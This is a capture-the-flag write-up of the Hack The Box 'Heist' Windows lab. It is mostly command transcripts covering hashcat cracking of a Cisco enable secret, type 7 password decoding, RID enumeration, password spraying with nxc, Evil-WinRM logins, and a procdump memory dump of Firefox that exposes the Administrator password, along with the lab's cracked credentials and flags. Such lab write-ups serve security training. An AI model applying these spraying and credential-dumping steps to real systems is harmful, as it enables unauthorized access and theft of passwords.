Hack The Box Heist Writeup (Easy Windows)
Easy Windows box. A guest login on the support portal leaks a Cisco IOS config, hashcat and type 7 decoding give Chase, and a Firefox dump gives admin.
Hack The Box Heist Writeup (Easy Windows)
Summary
Heist starts with a support web application at 10.10.10.149 that lets anyone log in as the guest user and read the open tickets, one of which carries an attached Cisco IOS router configuration. The type 5 enable secret in that config cracks to stealth1agent with hashcat, and the two type 7 username passwords decode to $uperP@ssword and Q4)sJu\Y8qz*A3?d. Those credentials open an SMB session as hazard, whose RID brute force enumerates support, Chase and Jason, and spraying the collected passwords against that user list hits on Chase. Evil-WinRM as Chase yields user.txt and a todo.txt about fixing the router config, and procdump against the running firefox.exe process produces a 314 MB memory dump. Running strings over the downloaded dump uncovers the Administrator password 4dD!5}x/re8]FBuZ, which logs straight back in over WinRM for root.txt.
User Enumeration
1
2
3
4
5
6
7
8
9
10
11
12
$ nxc smb 10.10.10.149 -u 'hazard' -p 'stealth1agent' --rid-brute
SMB 10.10.10.149 445 SUPPORTDESK [*] Windows 10 / Server 2019 Build 17763 x64 (name:SUPPORTDESK) (domain:SupportDesk) (signing:False) (SMBv1:False)
SMB 10.10.10.149 445 SUPPORTDESK [+] SupportDesk\hazard:stealth1agent
SMB 10.10.10.149 445 SUPPORTDESK 500: SUPPORTDESK\Administrator (SidTypeUser)
SMB 10.10.10.149 445 SUPPORTDESK 501: SUPPORTDESK\Guest (SidTypeUser)
SMB 10.10.10.149 445 SUPPORTDESK 503: SUPPORTDESK\DefaultAccount (SidTypeUser)
SMB 10.10.10.149 445 SUPPORTDESK 504: SUPPORTDESK\WDAGUtilityAccount (SidTypeUser)
SMB 10.10.10.149 445 SUPPORTDESK 513: SUPPORTDESK\None (SidTypeGroup)
SMB 10.10.10.149 445 SUPPORTDESK 1008: SUPPORTDESK\Hazard (SidTypeUser)
SMB 10.10.10.149 445 SUPPORTDESK 1009: SUPPORTDESK\support (SidTypeUser)
SMB 10.10.10.149 445 SUPPORTDESK 1012: SUPPORTDESK\Chase (SidTypeUser)
SMB 10.10.10.149 445 SUPPORTDESK 1013: SUPPORTDESK\Jason (SidTypeUser)
BS01: Missing Authorization - Unauthorized Information Disclosure on Support Web Application
| CWE | CVSS 3.1 | Root Cause | Impact | Affected Component | Remediation | References |
|---|---|---|---|---|---|---|
| CWE-862 | 7.5 / AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N | During the assessment, the tester identified that it is possible to log in as the “guest” user to the Support Web Application at http://10.10.10.149. Upon accessing the restricted area as guest, the tester could download sensitive attachments and read sensitive conversations from ongoing support help tickets in the platform. | Web App at http://10.10.10.149 | OWASP TOP 10 |
Got lazy to finish so
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
version 12.2
no service pad
service password-encryption
!
isdn switch-type basic-5ess
!
hostname ios-1
!
security passwords min-length 12
enable secret 5 $1$pdQG$o8nrSzsGXeaduXrjlvKc91
!
username rout3r password 7 0242114B0E143F015F5D1E161713
username admin privilege 15 password 7 02375012182C1A1D751618034F36415408
!
!
ip ssh authentication-retries 5
ip ssh version 2
!
!
router bgp 100
synchronization
bgp log-neighbor-changes
bgp dampening
network 192.168.0.0Â mask 300.255.255.0
timers bgp 3 9
redistribute connected
!
ip classless
ip route 0.0.0.0 0.0.0.0 192.168.0.1
!
!
access-list 101 permit ip any any
dialer-list 1 protocol ip list 101
!
no ip http server
no ip http secure-server
!
line vty 0 4
session-timeout 600
authorization exec SSH
transport input ssh
this is the config, we can grab the first password at the top and crack it with hashcat
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
$ hashcat hashes/heist.hash wordlists/rockyou.txt -d 1
hashcat (v6.2.6) starting in autodetect mode
Successfully initialized the NVIDIA main driver CUDA runtime library.
Failed to initialize NVIDIA RTC library.
* Device #1: CUDA SDK Toolkit not installed or incorrectly installed.
CUDA SDK Toolkit required for proper device support and utilization.
Falling back to OpenCL runtime.
* Device #2: Unstable OpenCL driver detected!
This OpenCL driver may fail kernel compilation or produce false negatives.
You can use --force to override, but do not report related errors.
nvmlDeviceGetFanSpeed(): Not Supported
OpenCL API (OpenCL 3.0 CUDA 12.7.33) - Platform #1 [NVIDIA Corporation]
=======================================================================
* Device #1: NVIDIA GeForce GTX 1650, 3392/3718 MB (929 MB allocatable), 14MCU
OpenCL API (OpenCL 1.1 Mesa 24.3.4) - Platform #2 [Mesa]
========================================================
* Device #2: AMD Radeon Graphics (radeonsi, renoir, LLVM 19.1.7, DRM 3.59, 6.12.13-200.fc41.x86_64), skipped
OpenCL API (OpenCL 3.0 PoCL 6.0 Linux, Release, RELOC, LLVM 18.1.7, SLEEF, DISTRO, POCL_DEBUG) - Platform #3 [The pocl project]
================================================================================================================================
* Device #3: cpu-haswell-AMD Ryzen 7 4800H with Radeon Graphics, skipped
Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:
500 | md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5) | Operating System
NOTE: Auto-detect is best effort. The correct hash-mode is NOT guaranteed!
Do NOT report auto-detect issues unless you are certain of the hash type.
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Optimizers applied:
* Zero-Byte
* Single-Hash
* Single-Salt
ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.
Watchdog: Temperature abort trigger set to 90c
Host memory required for this attack: 726 MB
Dictionary cache built:
* Filename..: wordlists/rockyou.txt
* Passwords.: 14344392
* Bytes.....: 139921507
* Keyspace..: 14344385
* Runtime...: 0 secs
Cracking performance lower than expected?
* Append -O to the commandline.
This lowers the maximum supported password/salt length (usually down to 32).
* Append -w 3 to the commandline.
This can cause your screen to lag.
* Append -S to the commandline.
This has a drastic speed impact but can be better for specific attacks.
Typical scenarios are a small wordlist but a large ruleset.
* Update your backend API runtime / driver the right way:
https://hashcat.net/faq/wrongdriver
* Create more work items to make use of your parallelization power:
https://hashcat.net/faq/morework
$1$pdQG$o8nrSzsGXeaduXrjlvKc91:stealth1agent
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 500 (md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5))
Hash.Target......: $1$pdQG$o8nrSzsGXeaduXrjlvKc91
Time.Started.....: Tue Feb 18 17:14:38 2025 (23 secs)
Time.Estimated...: Tue Feb 18 17:15:01 2025 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 150.2 kH/s (8.82ms) @ Accel:32 Loops:250 Thr:32 Vec:1
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 3555328/14344385 (24.79%)
Rejected.........: 0/3555328 (0.00%)
Restore.Point....: 3540992/14344385 (24.69%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:750-1000
Candidate.Engine.: Device Generator
Candidates.#1....: stef4brad -> stangs06
Hardware.Mon.#1..: Temp: 42c Util: 36% Core:1425MHz Mem:6000MHz Bus:8
Started: Tue Feb 18 17:14:25 2025
Stopped: Tue Feb 18 17:15:02 2025
we can log in as hazard via smb using this password but he cant do anything
1
2
3
4
5
6
7
8
9
$ nxc smb 10.10.10.149 -u 'hazard' -p 'stealth1agent' --shares
SMB 10.10.10.149 445 SUPPORTDESK [*] Windows 10 / Server 2019 Build 17763 x64 (name:SUPPORTDESK) (domain:SupportDesk) (signing:False) (SMBv1:False)
SMB 10.10.10.149 445 SUPPORTDESK [+] SupportDesk\hazard:stealth1agent
SMB 10.10.10.149 445 SUPPORTDESK [*] Enumerated shares
SMB 10.10.10.149 445 SUPPORTDESK Share Permissions Remark
SMB 10.10.10.149 445 SUPPORTDESK ----- ----------- ------
SMB 10.10.10.149 445 SUPPORTDESK ADMIN$ Remote Admin
SMB 10.10.10.149 445 SUPPORTDESK C$ Default share
SMB 10.10.10.149 445 SUPPORTDESK IPC$ READ Remote IPC
we can proceed to uncover the rest of the passwords in the cisco router config. Just put the passwords in this website and it’ll do the trick https://www.firewall.cx/cisco/cisco-routers/cisco-type7-password-crack.html
| Encrypted | Cleartext |
|---|---|
| 0242114B0E143F015F5D1E161713 | $uperP@ssword |
| 02375012182C1A1D751618034F36415408 | Q4)sJu\Y8qz*A3?d |
We proceed to enumerate users in the smb session as “hazard”:
1
2
3
4
5
6
7
8
9
10
11
12
$ nxc smb 10.10.10.149 -u 'hazard' -p 'stealth1agent' --rid-brute
SMB 10.10.10.149 445 SUPPORTDESK [*] Windows 10 / Server 2019 Build 17763 x64 (name:SUPPORTDESK) (domain:SupportDesk) (signing:False) (SMBv1:False)
SMB 10.10.10.149 445 SUPPORTDESK [+] SupportDesk\hazard:stealth1agent
SMB 10.10.10.149 445 SUPPORTDESK 500: SUPPORTDESK\Administrator (SidTypeUser)
SMB 10.10.10.149 445 SUPPORTDESK 501: SUPPORTDESK\Guest (SidTypeUser)
SMB 10.10.10.149 445 SUPPORTDESK 503: SUPPORTDESK\DefaultAccount (SidTypeUser)
SMB 10.10.10.149 445 SUPPORTDESK 504: SUPPORTDESK\WDAGUtilityAccount (SidTypeUser)
SMB 10.10.10.149 445 SUPPORTDESK 513: SUPPORTDESK\None (SidTypeGroup)
SMB 10.10.10.149 445 SUPPORTDESK 1008: SUPPORTDESK\Hazard (SidTypeUser)
SMB 10.10.10.149 445 SUPPORTDESK 1009: SUPPORTDESK\support (SidTypeUser)
SMB 10.10.10.149 445 SUPPORTDESK 1012: SUPPORTDESK\Chase (SidTypeUser)
SMB 10.10.10.149 445 SUPPORTDESK 1013: SUPPORTDESK\Jason (SidTypeUser)
We save the acquired users and passwords to respective files:
1
2
3
4
5
6
7
8
9
10
11
12
13
$ cat users.txt
hazard
support
Chase
Jason
Administrator
$ cat passwords.txt
0242114B0E143F015F5D1E161713
02375012182C1A1D751618034F36415408
stealth1agent
Q4)sJu\Y8qz*A3?d
$uperP@ssword
We try a bruteforce attack against all users and all passwords:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$ nxc smb 10.10.10.149 -u users.txt -p passwords.txt --shares --continue-on-success
SMB 10.10.10.149 445 SUPPORTDESK [*] Windows 10 / Server 2019 Build 17763 x64 (name:SUPPORTDESK) (domain:SupportDesk) (signing:False) (SMBv1:False)
SMB 10.10.10.149 445 SUPPORTDESK [-] SupportDesk\hazard:0242114B0E143F015F5D1E161713 STATUS_LOGON_FAILURE
SMB 10.10.10.149 445 SUPPORTDESK [-] SupportDesk\support:0242114B0E143F015F5D1E161713 STATUS_LOGON_FAILURE
SMB 10.10.10.149 445 SUPPORTDESK [-] SupportDesk\Chase:0242114B0E143F015F5D1E161713 STATUS_LOGON_FAILURE
SMB 10.10.10.149 445 SUPPORTDESK [-] SupportDesk\Jason:0242114B0E143F015F5D1E161713 STATUS_LOGON_FAILURE
SMB 10.10.10.149 445 SUPPORTDESK [-] SupportDesk\Administrator:0242114B0E143F015F5D1E161713 STATUS_LOGON_FAILURE
SMB 10.10.10.149 445 SUPPORTDESK [-] SupportDesk\hazard:02375012182C1A1D751618034F36415408 STATUS_LOGON_FAILURE
SMB 10.10.10.149 445 SUPPORTDESK [-] SupportDesk\support:02375012182C1A1D751618034F36415408 STATUS_LOGON_FAILURE
SMB 10.10.10.149 445 SUPPORTDESK [-] SupportDesk\Chase:02375012182C1A1D751618034F36415408 STATUS_LOGON_FAILURE
SMB 10.10.10.149 445 SUPPORTDESK [-] SupportDesk\Jason:02375012182C1A1D751618034F36415408 STATUS_LOGON_FAILURE
SMB 10.10.10.149 445 SUPPORTDESK [-] SupportDesk\Administrator:02375012182C1A1D751618034F36415408 STATUS_LOGON_FAILURE
SMB 10.10.10.149 445 SUPPORTDESK [+] SupportDesk\hazard:stealth1agent
SMB 10.10.10.149 445 SUPPORTDESK [-] SupportDesk\support:stealth1agent STATUS_LOGON_FAILURE
SMB 10.10.10.149 445 SUPPORTDESK [-] Connection Error: Error occurs while reading from remote(104)
SMB 10.10.10.149 445 SUPPORTDESK [-] SupportDesk\Jason:stealth1agent STATUS_LOGON_FAILURE
SMB 10.10.10.149 445 SUPPORTDESK [-] SupportDesk\Administrator:stealth1agent STATUS_LOGON_FAILURE
SMB 10.10.10.149 445 SUPPORTDESK [-] SupportDesk\support:Q4)sJu\Y8qz*A3?d STATUS_LOGON_FAILURE
SMB 10.10.10.149 445 SUPPORTDESK [+] SupportDesk\Chase:Q4)sJu\Y8qz*A3?d
SMB 10.10.10.149 445 SUPPORTDESK [-] SupportDesk\Jason:Q4)sJu\Y8qz*A3?d STATUS_LOGON_FAILURE
SMB 10.10.10.149 445 SUPPORTDESK [-] Connection Error: Error occurs while reading from remote(104)
SMB 10.10.10.149 445 SUPPORTDESK [-] SupportDesk\support:$uperP@ssword STATUS_LOGON_FAILURE
SMB 10.10.10.149 445 SUPPORTDESK [-] SupportDesk\Jason:$uperP@ssword STATUS_LOGON_FAILURE
SMB 10.10.10.149 445 SUPPORTDESK [-] SupportDesk\Administrator:$uperP@ssword STATUS_LOGON_FAILURE
We get a thit:
1
SMB 10.10.10.149 445 SUPPORTDESK [+] SupportDesk\Chase:Q4)sJu\Y8qz*A3?d
We log in as Chase via winrm and grab the user flag, along with information in a todo.txt file:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
$ evil-winrm -i 10.10.10.149 -u 'chase' -p 'Q4)sJu\Y8qz*A3?d'
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Chase\Documents> ls
*Evil-WinRM* PS C:\Users\Chase\Documents> cd ../Desktop
*Evil-WinRM* PS C:\Users\Chase\Desktop> ls
Directory: C:\Users\Chase\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 4/22/2019 9:08 AM 121 todo.txt
-ar--- 2/18/2025 10:32 PM 34 user.txt
*Evil-WinRM* PS C:\Users\Chase\Desktop> type user.txt
0ca399f86a6c9ad80567d778fe874f85
*Evil-WinRM* PS C:\Users\Chase\Desktop> type todo.txt
Stuff to-do:
1. Keep checking the issues list.
2. Fix the router config.
Done:
1. Restricted access for guest user.
We get a copy of sysinternals/procdump into the victim and dump the firefox process:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
*Evil-WinRM* PS C:\Users\Chase\Documents> .\procdump64.exe -ma 728
ProcDump v11.0 - Sysinternals process dump utility
Copyright (C) 2009-2022 Mark Russinovich and Andrew Richards
Sysinternals - www.sysinternals.com
[16:25:49] Dump 1 initiated: C:\Users\Chase\Documents\firefox.exe_250219_162549.dmp
[16:25:50] Dump 1 writing: Estimated dump file size is 314 MB.
[16:26:04] Dump 1 complete: 314 MB written in 14.7 seconds
[16:26:04] Dump count reached.
*Evil-WinRM* PS C:\Users\Chase\Documents> dir
Directory: C:\Users\Chase\Documents
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 2/19/2025 4:26 PM 321439127 firefox.exe_250219_162549.dmp
-a---- 2/19/2025 1:21 AM 10132516 LaZagne.exe
-a---- 2/19/2025 1:10 AM 7168 malicious.exe
-a---- 2/19/2025 1:02 AM 1250056 mimikatz.exe
-a---- 2/19/2025 4:23 PM 424856 procdump64.exe
-a---- 2/18/2025 11:31 PM 10141184 winPEASx64.exe
*Evil-WinRM* PS C:\Users\Chase\Documents> download firefox.exe_250219_162549.dmp
Downloading the dump and using strings against it we can uncover the password for the Administrator user.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
$ evil-winrm -i 10.10.10.149 -u Administrator -p '4dD!5}x/re8]FBuZ'
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ..\Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> dir
Directory: C:\Users\Administrator\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 2/18/2025 10:32 PM 34 root.txt
*Evil-WinRM* PS C:\Users\Administrator\Desktop> dir root.txt
Directory: C:\Users\Administrator\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 2/18/2025 10:32 PM 34 root.txt
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
4339dba48713555042bba046cfde709e
This post is licensed under CC BY 4.0 by the author.